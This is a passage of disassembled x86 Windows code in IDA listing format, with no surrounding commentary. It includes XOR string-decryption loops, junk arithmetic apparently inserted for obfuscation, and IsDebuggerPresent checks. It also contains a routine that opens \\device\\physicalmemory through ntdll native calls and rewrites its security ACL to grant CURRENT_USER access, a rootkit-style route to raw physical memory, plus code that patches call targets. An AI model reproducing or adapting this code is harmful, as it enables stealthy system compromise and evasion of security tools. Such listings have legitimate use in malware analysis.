add eax, 3
add eax, esi
mov dword_43B2AC, eax
cmp eax, 0DBBh
jle short loc_401B90
and dword_43B2AC, 0
loc_401B90: ; CODE XREF: .text:00401B87j
lea eax, dword_410850[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B9A proc near ; CODE XREF: sub_405601+66Ap
; sub_409847+D36p
var_A = byte ptr -0Ah
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call sub_40C538 ; RtlGetLastWin32Error
mov [ebp+var_2], 4231h
inc [ebp+var_2]
mov ebx, [ebp+arg_4]
jmp short loc_401C0E
; ---------------------------------------------------------------------------
loc_401BB7: ; CODE XREF: sub_401B9A+7Bj
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 0Dh
jnz short loc_401C0D
lea edi, [ebp+var_A]
lea esi, aRrQa ; "rr/+Q"
mov ecx, 7
rep movsb
mov eax, [ebp+arg_4]
mov edx, ebx
sub edx, eax
push edx
mov edx, [ebp+arg_0]
add edx, eax
push edx
push [ebp+arg_8]
call sub_40C9F4
add esp, 0Ch
mov [ebp+var_3], 0DEh
movzx eax, [ebp+var_3]
imul eax, 6325h
mov [ebp+var_3], al
mov eax, ebx
sub eax, [ebp+arg_4]
mov edx, [ebp+arg_8]
mov byte ptr [edx+eax], 0
mov eax, ebx
add eax, 2
jmp short loc_401C7E
; ---------------------------------------------------------------------------
loc_401C0D: ; CODE XREF: sub_401B9A+24j
inc ebx
loc_401C0E: ; CODE XREF: sub_401B9A+1Bj
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 0
jnz short loc_401BB7
cmp [ebp+arg_4], 0
jz short loc_401C43
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 0
jnz short loc_401C43
mov eax, ebx
dec eax
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 0Ah
jnz short loc_401C43
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+arg_8]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
inc eax
jmp short loc_401C7E
; ---------------------------------------------------------------------------
loc_401C43: ; CODE XREF: sub_401B9A+81j
; sub_401B9A+8Aj ...
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
push eax
call sub_40C73C ; lstrlen
mov ebx, eax
or ebx, ebx
jz short loc_401C7C
call sub_40C5A4 ; GetVersion
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
push eax
push [ebp+arg_8]
call sub_40C4B8
mov word ptr [ebp-4], 33AEh
sub word ptr [ebp-4], 32B9h
mov eax, [ebp+arg_4]
add eax, ebx
jmp short loc_401C7E
; ---------------------------------------------------------------------------
loc_401C7C: ; CODE XREF: sub_401B9A+B9j
xor eax, eax
loc_401C7E: ; CODE XREF: sub_401B9A+71j
; sub_401B9A+A7j ...
pop edi
pop esi
pop ebx
leave
retn
sub_401B9A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43B2C0
lea eax, ds:436120h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_401CC3
; ---------------------------------------------------------------------------
loc_401CA9: ; CODE XREF: .text:00401CC5j
mov eax, dword_43B2C0
add eax, edi
lea eax, ds:436120h[eax]
movsx edx, byte ptr [eax]
xor edx, 0A7h
mov [eax], dl
inc edi
loc_401CC3: ; CODE XREF: .text:00401CA7j
cmp edi, esi
jl short loc_401CA9
mov eax, dword_43B2C0
add eax, esi
mov byte ptr ds:dword_436120[eax], 0
xor edi, edi
mov edi, dword_43B2C0
mov eax, edi
add eax, 3
add eax, esi
mov dword_43B2C0, eax
inc dword_43B2C0
cmp dword_43B2C0, 0DC7h
jle short loc_401D03
and dword_43B2C0, 0
loc_401D03: ; CODE XREF: .text:00401CFAj
mov dword ptr [ebp-4], 347h
lea eax, dword_436120[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D14 proc near ; CODE XREF: sub_4028A6+5Dp
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_B = byte ptr -0Bh
var_4 = word ptr -4
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov [ebp+var_1], 60h
movzx eax, [ebp+var_1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1], al
inc dword_43B228
mov [ebp+var_4], 1DB7h
movzx eax, [ebp+var_4]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_4], ax
mov ebx, [ebp+arg_0]
and ds:dword_40E00C, 0
and ds:dword_41DA70, 0
and ds:dword_41DA88, 0
and ds:dword_40F268, 0
mov ds:dword_41A860, 4
mov ds:dword_413F84, 4
loc_401D7B: ; CODE XREF: sub_401D14+154j
; sub_401D14+175j ...
mov eax, ebx
inc ebx
mov al, [eax]
mov ds:byte_413F80, al
movzx eax, ds:byte_413F80
or eax, eax
jl loc_40200C
cmp eax, 0FFh
jg loc_40200C
jmp off_43B2D4[eax*4]
; ---------------------------------------------------------------------------
lea edi, [ebp+var_19]
lea esi, aL2r6_ ; "l2r-6;."
movsd
movsd
loc_401DB1: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
or byte ptr ds:dword_41DA70, 40h
lea edi, [ebp+var_1A]
lea esi, byte_43B2CC
xor ecx, ecx
inc ecx
rep movsb
jmp loc_40200C
; ---------------------------------------------------------------------------
inc dword_43B228
loc_401DD1: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
xor eax, eax
cmp byte ptr [ebx], 20h
setnz al
dec eax
and eax, 4
inc eax
mov [ebp+var_20], eax
add ds:dword_41DA88, eax
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401DEC: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
or byte ptr ds:dword_41DA70, 40h
test byte ptr [ebx], 38h
jnz loc_40200C
call sub_40C598 ; GetTickCount
loc_401E01: ; CODE XREF: sub_401D14+8Bj
; DATA XREF: .data:0043B2E4o ...
test ds:byte_413F80, 1
jz short loc_401E1A
mov eax, ds:dword_41A860
add ds:dword_41DA88, eax
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401E1A: ; CODE XREF: sub_401D14+F4j
inc ds:dword_41DA88
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401E25: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
inc ds:dword_41DA88
jmp loc_40200C
; ---------------------------------------------------------------------------
inc dword_43B228
loc_401E36: ; CODE XREF: sub_401D14+8Bj
; DATA XREF: .data:0043B36Co ...
test byte ptr ds:dword_41DA70, 10h
jz short loc_401E46
xor eax, eax
jmp loc_402199
; ---------------------------------------------------------------------------
loc_401E46: ; CODE XREF: sub_401D14+129j
mov [ebp+var_11], 7Dh
movzx eax, [ebp+var_11]
imul eax, 46DCh
mov [ebp+var_11], al
or byte ptr ds:dword_41DA70, 10h
mov al, ds:byte_413F80
mov ds:byte_40F274, al
jmp loc_401D7B
; ---------------------------------------------------------------------------
loc_401E6D: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
test byte ptr ds:dword_41DA70, 4
jz short loc_401E7D
xor eax, eax
jmp loc_402199
; ---------------------------------------------------------------------------
loc_401E7D: ; CODE XREF: sub_401D14+160j
call sub_40C5A4 ; GetVersion
or byte ptr ds:dword_41DA70, 4
jmp loc_401D7B
; ---------------------------------------------------------------------------
loc_401E8E: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
test byte ptr ds:dword_41DA70, 8
jz short loc_401E9E
xor eax, eax
jmp loc_402199
; ---------------------------------------------------------------------------
loc_401E9E: ; CODE XREF: sub_401D14+181j
call sub_40C538 ; RtlGetLastWin32Error
or byte ptr ds:dword_41DA70, 8
mov al, ds:byte_413F80
mov ds:byte_41EB80, al
jmp loc_401D7B
; ---------------------------------------------------------------------------
loc_401EB9: ; CODE XREF: sub_401D14+8Bj
; DATA XREF: .data:0043B46Co
test byte ptr ds:dword_41DA70, 1
jz short loc_401EC9
xor eax, eax
jmp loc_402199
; ---------------------------------------------------------------------------
loc_401EC9: ; CODE XREF: sub_401D14+1ACj
call sub_40C598 ; GetTickCount
or byte ptr ds:dword_41DA70, 1
mov ds:dword_41A860, 2
jmp loc_401D7B
; ---------------------------------------------------------------------------
loc_401EE4: ; CODE XREF: sub_401D14+8Bj
; DATA XREF: .data:0043B470o
test byte ptr ds:dword_41DA70, 2
jz short loc_401EF4
xor eax, eax
jmp loc_402199
; ---------------------------------------------------------------------------
loc_401EF4: ; CODE XREF: sub_401D14+1D7j
or byte ptr ds:dword_41DA70, 2
mov ds:dword_413F84, 2
jmp loc_401D7B
; ---------------------------------------------------------------------------
inc dword_43B228
loc_401F10: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
inc ds:dword_41DA88
or byte ptr ds:dword_41DA70, 40h
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401F22: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
mov eax, ds:dword_41A860
add ds:dword_41DA88, eax
or byte ptr ds:dword_41DA70, 40h
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401F39: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
mov eax, ds:dword_41A860
add eax, 2
add ds:dword_41DA88, eax
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401F4C: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
mov eax, ds:dword_413F84
add ds:dword_40F268, eax
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401F5C: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
mov eax, ds:dword_41A860
add ds:dword_41DA88, eax
jmp loc_40200C
; ---------------------------------------------------------------------------
inc dword_43B228
loc_401F72: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
add ds:dword_41DA88, 2
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401F7E: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
add ds:dword_41DA88, 3
jmp loc_40200C
; ---------------------------------------------------------------------------
loc_401F8A: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+2B3j
; DATA XREF: ...
xor eax, eax
jmp loc_402199
; ---------------------------------------------------------------------------
loc_401F91: ; CODE XREF: sub_401D14+8Bj
; DATA XREF: .data:0043B310o
or byte ptr ds:dword_41DA70, 20h
mov eax, ebx
inc ebx
mov al, [eax]
mov ds:byte_42EB90, al
movzx eax, ds:byte_42EB90
or eax, eax
jl short loc_402005
cmp eax, 0Bh
jg short loc_401FB9
jmp off_43B6D4[eax*4]
; ---------------------------------------------------------------------------
loc_401FB9: ; CODE XREF: sub_401D14+29Cj
cmp eax, 80h
jl short loc_402005
cmp eax, 0CFh
jg short loc_402005
jmp off_43B504[eax*4]
; ---------------------------------------------------------------------------
call sub_40C514 ; GetCurrentThreadId
loc_401FD3: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+29Ej ...
or byte ptr ds:dword_41DA70, 40h
call sub_40C514 ; GetCurrentThreadId
jmp short loc_40200C
; ---------------------------------------------------------------------------
inc dword_43B228
jmp short loc_40200C
; ---------------------------------------------------------------------------
loc_401FE9: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+29Ej ...
mov eax, ds:dword_41A860
add ds:dword_41DA88, eax
jmp short loc_40200C
; ---------------------------------------------------------------------------
loc_401FF6: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+29Ej ...
inc ds:dword_41DA88
or byte ptr ds:dword_41DA70, 40h
jmp short loc_40200C
; ---------------------------------------------------------------------------
loc_402005: ; CODE XREF: sub_401D14+8Bj
; sub_401D14+297j ...
xor eax, eax
jmp loc_402199
; ---------------------------------------------------------------------------
loc_40200C: ; CODE XREF: sub_401D14+7Aj
; sub_401D14+85j ...
inc dword_43B228
test byte ptr ds:dword_41DA70, 40h
jz loc_40211A
call sub_40C538 ; RtlGetLastWin32Error
mov eax, ebx
inc ebx
mov al, [eax]
mov ds:byte_42FCFC, al
call sub_40C598 ; GetTickCount
movzx eax, ds:byte_42FCFC
and eax, 0C0h
mov [ebp+var_11], al
movzx eax, ds:byte_42FCFC
and eax, 7
mov [ebp+var_12], al
movzx eax, [ebp+var_11]
cmp eax, 0C0h
jz loc_40211A
mov [ebp+var_13], 0A5h
movzx eax, [ebp+var_13]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_13], al
cmp [ebp+var_11], 40h
jnz short loc_40207B
inc ds:dword_40F268
loc_40207B: ; CODE XREF: sub_401D14+35Fj
call sub_40C514 ; GetCurrentThreadId
movzx eax, [ebp+var_11]
cmp eax, 80h
jnz short loc_402096
mov eax, ds:dword_413F84
add ds:dword_40F268, eax
loc_402096: ; CODE XREF: sub_401D14+375j
mov [ebp+var_18], 4587h
mov eax, [ebp+var_18]
mov edx, eax
add edx, eax
mov [ebp+var_18], edx
cmp ds:dword_413F84, 2
jnz short loc_4020CA
call sub_40C508 ; GetCurrentProcessId
cmp [ebp+var_11], 0
jnz short loc_40211A
cmp [ebp+var_12], 6
jnz short loc_40211A
add ds:dword_40F268, 2
jmp short loc_40211A
; ---------------------------------------------------------------------------
loc_4020CA: ; CODE XREF: sub_401D14+39Aj
call sub_40C514 ; GetCurrentThreadId
cmp [ebp+var_12], 4
jnz short loc_402102
mov dword ptr [ebp-1Ch], 2A45h
inc dword ptr [ebp-1Ch]
or byte ptr ds:dword_41DA70, 80h
call sub_40C514 ; GetCurrentThreadId
mov eax, ebx
inc ebx
mov al, [eax]
mov ds:byte_41A85C, al
movzx eax, ds:byte_41A85C
and eax, 7
mov [ebp+var_12], al
loc_402102: ; CODE XREF: sub_401D14+3BFj
cmp [ebp+var_12], 5
jnz short loc_402115
cmp [ebp+var_11], 0
jnz short loc_402115
add ds:dword_40F268, 4
loc_402115: ; CODE XREF: sub_401D14+3F2j
; sub_401D14+3F8j
call sub_40C5A4 ; GetVersion
loc_40211A: ; CODE XREF: sub_401D14+305j
; sub_401D14+344j ...
and ds:dword_40F26C, 0
jmp short loc_40213B
; ---------------------------------------------------------------------------
loc_402123: ; CODE XREF: sub_401D14+432j
mov eax, ebx
inc ebx
mov edx, ds:dword_40F26C
mov al, [eax]
mov ds:byte_413F78[edx], al
inc ds:dword_40F26C
loc_40213B: ; CODE XREF: sub_401D14+40Dj
mov eax, ds:dword_40F268
cmp ds:dword_40F26C, eax
jb short loc_402123
lea edi, [ebp+var_B]
lea esi, aF50z ; "F 5 0z"
mov ecx, 7
rep movsb
and ds:dword_40F26C, 0
jmp short loc_402179
; ---------------------------------------------------------------------------
loc_402161: ; CODE XREF: sub_401D14+470j
mov eax, ebx
inc ebx
mov edx, ds:dword_40F26C
mov al, [eax]
mov ds:byte_439330[edx], al
inc ds:dword_40F26C
loc_402179: ; CODE XREF: sub_401D14+44Bj
mov eax, ds:dword_41DA88
cmp ds:dword_40F26C, eax
jb short loc_402161
inc dword_43B228
mov eax, ebx
sub eax, [ebp+arg_0]
mov ds:dword_40E00C, eax
xor eax, eax
inc eax
loc_402199: ; CODE XREF: sub_401D14+12Dj
; sub_401D14+164j ...
pop edi
pop esi
pop ebx
leave
retn
sub_401D14 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 1F7h
push esi
push dword ptr [ebp+8]
mov eax, dword_43BF3C
lea eax, ds:417640h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_4021E7
; ---------------------------------------------------------------------------
loc_4021CD: ; CODE XREF: .text:004021E9j
mov eax, dword_43BF3C
add eax, edi
lea eax, ds:417640h[eax]
movsx edx, byte ptr [eax]
xor edx, 88h
mov [eax], dl
inc edi
loc_4021E7: ; CODE XREF: .text:004021CBj
cmp edi, esi
jl short loc_4021CD
mov dword ptr [ebp-8], 182h
mov eax, dword_43BF3C
add eax, esi
mov byte ptr ds:dword_417640[eax], 0
xor edi, edi
mov edi, dword_43BF3C
add dword_43BF3C, 3
mov eax, dword_43BF3C
inc eax
add eax, esi
mov dword_43BF3C, eax
cmp eax, 0E06h
jle short loc_40222B
and dword_43BF3C, 0
loc_40222B: ; CODE XREF: .text:00402222j
mov dword ptr [ebp-0Ch], 1D5h
lea eax, dword_417640[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40223C proc near ; CODE XREF: sub_402A4D+1Ep
var_A = byte ptr -0Ah
var_2 = word ptr -2
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call sub_40C634 ; IsDebuggerPresent
push offset aNtdll_dll ; "ntdll.dll"
call sub_40C550 ; GetModuleHandleA
mov ebx, eax
lea edi, [ebp+var_A]
lea esi, aA_utc2 ; "_utc*2"
movsd
movsd
push offset aRtlinitunicode ; "RtlInitUnicodeString"
push ebx
call sub_40C568 ; GetProcAddress
mov ds:dword_42FCF4, eax
call sub_40C634 ; IsDebuggerPresent
push offset aNtunmapviewofs ; "NtUnmapViewOfSection"
push ebx
call sub_40C568 ; GetProcAddress
mov ds:dword_41C954, eax
call sub_40C538 ; RtlGetLastWin32Error
push offset aNtopensection ; "NtOpenSection"
push ebx
call sub_40C568 ; GetProcAddress
mov ds:dword_41A868, eax
mov [ebp+var_2], 2FA0h
sub [ebp+var_2], 63DAh
push offset aNtmapviewofsec ; "NtMapViewOfSection"
push ebx
call sub_40C568 ; GetProcAddress
mov ds:dword_41DA80, eax
push offset aRtlntstatustod ; "RtlNtStatusToDosError"
push ebx
call sub_40C568 ; GetProcAddress
mov ds:dword_42FCF0, eax
pop edi
pop esi
pop ebx
leave
retn
sub_40223C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022CC proc near ; CODE XREF: sub_402A4D+16Ap
var_88 = byte ptr -88h
var_81 = byte ptr -81h
var_79 = dword ptr -79h
var_75 = byte ptr -75h
var_6D = byte ptr -6Dh
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_58 = byte ptr -58h
var_57 = byte ptr -57h
var_56 = word ptr -56h
var_53 = byte ptr -53h
var_52 = word ptr -52h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = byte ptr -44h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
mov [ebp+var_53], 0B5h
movzx eax, [ebp+var_53]
imul eax, 5810h
mov [ebp+var_53], al
lea edi, [ebp+var_6D]
lea esi, aHgtr ; "hgtr"
mov ecx, 5
rep movsb
push offset aDevicePhysical ; "\\device\\physicalmemory"
lea eax, [ebp+var_60]
push eax
call ds:dword_42FCF4
lea edi, [ebp+var_75]
lea esi, aQOkgoj ; "Q!okgOJ"
movsd
movsd
mov [ebp+var_18], 18h
and [ebp+var_14], 0
lea eax, [ebp+var_60]
mov [ebp+var_10], eax
call sub_40C514 ; GetCurrentThreadId
mov [ebp+var_C], 40h
mov eax, dword_43C00F
mov [ebp+var_79], eax
and [ebp+var_8], 0
call sub_40C508 ; GetCurrentProcessId
and [ebp+var_4], 0
mov [ebp+var_56], 58E2h
inc [ebp+var_56]
and [ebp+var_30], 0
mov [ebp+var_52], 721Bh
movzx eax, [ebp+var_52]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_52], ax
and [ebp+var_2C], 0
lea edi, [ebp+var_81]
lea esi, aXghyb_v ; "Xhyb."
mov ecx, 2
rep movsd
mov [ebp+var_28], 1
mov [ebp+var_57], 71h
sub [ebp+var_57], 0F4h
mov [ebp+var_24], 1
lea eax, aCurrent_user ; "CURRENT_USER"
mov [ebp+var_20], eax
mov [ebp+var_50], 2
call sub_40C634 ; DATA XREF: sub_43F401+2Fo
mov [ebp+var_4C], 1
call sub_40C514 ; GetCurrentThreadId
and [ebp+var_48], 0
mov [ebp+var_58], 74h
add [ebp+var_58], 1
lea edi, [ebp+var_44]
lea esi, [ebp+var_30]
mov ecx, 5
rep movsd
call sub_40C574 ; GetProcessHeap
lea eax, [ebp+var_18]
push eax
push 60000h
lea eax, [ebp+var_1C]
push eax
call ds:dword_41A868
mov ebx, 762Dh
inc ebx
lea eax, [ebp+var_88]
push eax
push 0
lea eax, [ebp+var_64]
push eax
push 0
push 0
push 4
push 6
push [ebp+var_1C]
call sub_40C958 ; GetSecurityInfo
call sub_40C5A4 ; GetVersion
lea eax, [ebp+var_68]
push eax
push [ebp+var_64]
lea eax, [ebp+var_50]
push eax
mov eax, 0Bh
sub eax, dword_43BF38
push eax
call sub_40C970 ; SetEntriesInAclA
call sub_40C514 ; GetCurrentThreadId
push 0
push [ebp+var_68]
push 0
push 0
push 4
push 6
push [ebp+var_1C]
call sub_40C964 ; SetSecurityInfo
push [ebp+var_1C]
call sub_40C55C ; CloseHandle
lea eax, [ebp+var_18]
push eax
push [ebp+var_50]
lea eax, [ebp+var_1C]
push eax
call ds:dword_41A868
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
leave
retn
sub_4022CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402465 proc near ; CODE XREF: sub_402A4D+265p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
call sub_40C508 ; GetCurrentProcessId
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
and [ebp+var_8], 0
call sub_40C598 ; GetTickCount
mov eax, [ebp+var_C]
xor edx, edx
mov [ebp+var_10], edx
mov [ebp+var_14], eax
call sub_40C514 ; GetCurrentThreadId
push 4
push 0
push 1
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+var_4]
push 0
lea eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
call ds:dword_41DA80
call sub_40C508 ; GetCurrentProcessId
mov eax, [ebp+var_8]
leave
retn
sub_402465 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024C1 proc near ; CODE XREF: sub_402A4D+36Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_40C598 ; GetTickCount
push [ebp+arg_0]
push 0FFFFFFFFh
call ds:dword_41C954
call sub_40C508 ; GetCurrentProcessId
pop ebp
retn
sub_4024C1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 8Bh
push esi
push dword ptr [ebp+8]
mov eax, dword_43C024
lea eax, ds:412DE0h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_402520
; ---------------------------------------------------------------------------
loc_402509: ; CODE XREF: .text:00402522j
mov eax, dword_43C024
add eax, edi
lea eax, ds:412DE0h[eax]
movsx edx, byte ptr [eax]
xor edx, 42h
mov [eax], dl
inc edi
loc_402520: ; CODE XREF: .text:00402507j
cmp edi, esi
jl short loc_402509
mov dword ptr [ebp-8], 15Eh
mov eax, dword_43C024
add eax, esi
mov byte ptr ds:dword_412DE0[eax], 0
xor edi, edi
mov edi, dword_43C024
mov eax, edi
add eax, 5
add eax, esi
mov dword_43C024, eax
add dword_43C024, 2
cmp dword_43C024, 0DF6h
jle short loc_402568
and dword_43C024, 0
loc_402568: ; CODE XREF: .text:0040255Fj
lea eax, dword_412DE0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402572 proc near ; CODE XREF: sub_4028A6+19Ap
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = word ptr -0Eh
var_C = word ptr -0Ch
var_A = word ptr -0Ah
var_8 = word ptr -8
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_4], 6A0Dh
mov eax, [ebp+var_4]
mov edx, eax
add edx, eax
mov [ebp+var_4], edx
xor ebx, ebx
loc_40258E: ; CODE XREF: sub_402572+329j
mov [ebp+var_8], 0A92h
movzx eax, [ebp+var_8]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_8], ax
mov eax, [ebp+arg_0]
movzx edx, byte ptr [eax+ebx]
cmp edx, 0FFh
jnz short loc_4025E8
movzx edx, byte ptr [ebx+eax+1]
cmp edx, 0FFh
jnz short loc_4025E8
movzx edx, byte ptr [ebx+eax+2]
cmp edx, 0FFh
jnz short loc_4025E8
movzx edx, byte ptr [ebx+eax+3]
cmp edx, 0FFh
jnz short loc_4025E8
movzx eax, byte ptr [ebx+eax+4]
cmp eax, 0FFh
jz loc_4028A1
loc_4025E8: ; CODE XREF: sub_402572+3Dj
; sub_402572+4Aj ...
mov [ebp+var_A], 143Ah
movzx eax, [ebp+var_A]
imul eax, 5B68h
mov [ebp+var_A], ax
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_8]
lea eax, [eax+edx+5]
mov edx, [ebp+arg_0]
mov dl, [edx+ebx]
mov [eax+ebx], dl
call sub_40C514 ; GetCurrentThreadId
mov [ebp+var_5], 0
loc_402618: ; CODE XREF: sub_402572+1B2j
mov eax, [ebp+arg_0]
movzx edx, [ebp+var_5]
imul edx, 0Ch
movzx edx, byte_43C0B4[edx]
movzx ecx, byte ptr [eax+ebx]
cmp ecx, edx
jnz loc_40270A
mov ecx, ebx
dec ecx
movzx ecx, byte ptr [eax+ecx]
cmp ecx, edx
jnz loc_40270A
mov ecx, ebx
sub ecx, 2
movzx ecx, byte ptr [eax+ecx]
cmp ecx, edx
jnz loc_40270A
mov ecx, ebx
sub ecx, 3
movzx ecx, byte ptr [eax+ecx]
cmp ecx, edx
jnz loc_40270A
mov edx, ebx
sub edx, 4
movzx eax, byte ptr [eax+edx]
cmp eax, 0E8h
jnz loc_40270A
mov [ebp+var_C], 184h
movzx eax, [ebp+var_C]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_C], ax
movzx eax, [ebp+var_5]
imul eax, 0Ch
push off_43C0BC[eax]
call sub_40C550 ; GetModuleHandleA
movzx edi, [ebp+var_5]
imul edi, 0Ch
push off_43C0B8[edi]
push eax
call sub_40C568 ; GetProcAddress
mov [ebp+var_18], eax
or eax, 0FFFFFFFFh
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_8]
lea edx, [edx+ecx+5]
add edx, ebx
sub edx, 4
sub eax, edx
add eax, [ebp+var_18]
sub eax, 4
mov [ebp+var_1C], eax
mov [ebp+var_E], 1041h
sub [ebp+var_E], 73D6h
mov eax, [ebp+arg_4]
mov edx, ecx
lea eax, [eax+edx+5]
add eax, ebx
sub eax, 4
mov edx, [ebp+var_1C]
mov ds:1[eax], edx
mov [ebp+var_14], 4B75h
add [ebp+var_14], 37C2h
jmp short loc_402729
; ---------------------------------------------------------------------------
loc_40270A: ; CODE XREF: sub_402572+BEj
; sub_402572+CDj ...
movzx eax, [ebp+var_5]
imul eax, 0Ch
cmp off_43C0B8[eax], 0
jz short loc_402729
call sub_40C538 ; RtlGetLastWin32Error
add [ebp+var_5], 1
jmp loc_402618
; ---------------------------------------------------------------------------
loc_402729: ; CODE XREF: sub_402572+196j
; sub_402572+1A7j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 4
jnz short loc_402798
mov edx, ebx
dec edx
cmp byte ptr [eax+edx], 4
jnz short loc_402798
mov edx, ebx
sub edx, 2
cmp byte ptr [eax+edx], 4
jnz short loc_402798
mov edx, ebx
sub edx, 3
cmp byte ptr [eax+edx], 4
jnz short loc_402798
mov edx, ebx
sub edx, 4
movzx edx, byte ptr [eax+edx]
cmp dl, 68h
jz short loc_402772
cmp edx, 0BEh
jz short loc_402772
mov edx, ebx
sub edx, 5
cmp byte ptr [eax+edx], 24h
jnz short loc_402798
loc_402772: ; CODE XREF: sub_402572+1EBj
; sub_402572+1F3j
mov [ebp+var_C], 53AEh
inc [ebp+var_C]
mov eax, [ebp+arg_4]
add eax, [ebp+arg_8]
lea edx, [eax+ebx+5]
sub edx, 4
add eax, 7
mov ds:1[edx], eax
call sub_40C508 ; GetCurrentProcessId
loc_402798: ; CODE XREF: sub_402572+1BEj
; sub_402572+1C7j ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 2
jnz loc_40282C
mov edx, ebx
dec edx
cmp byte ptr [eax+edx], 2
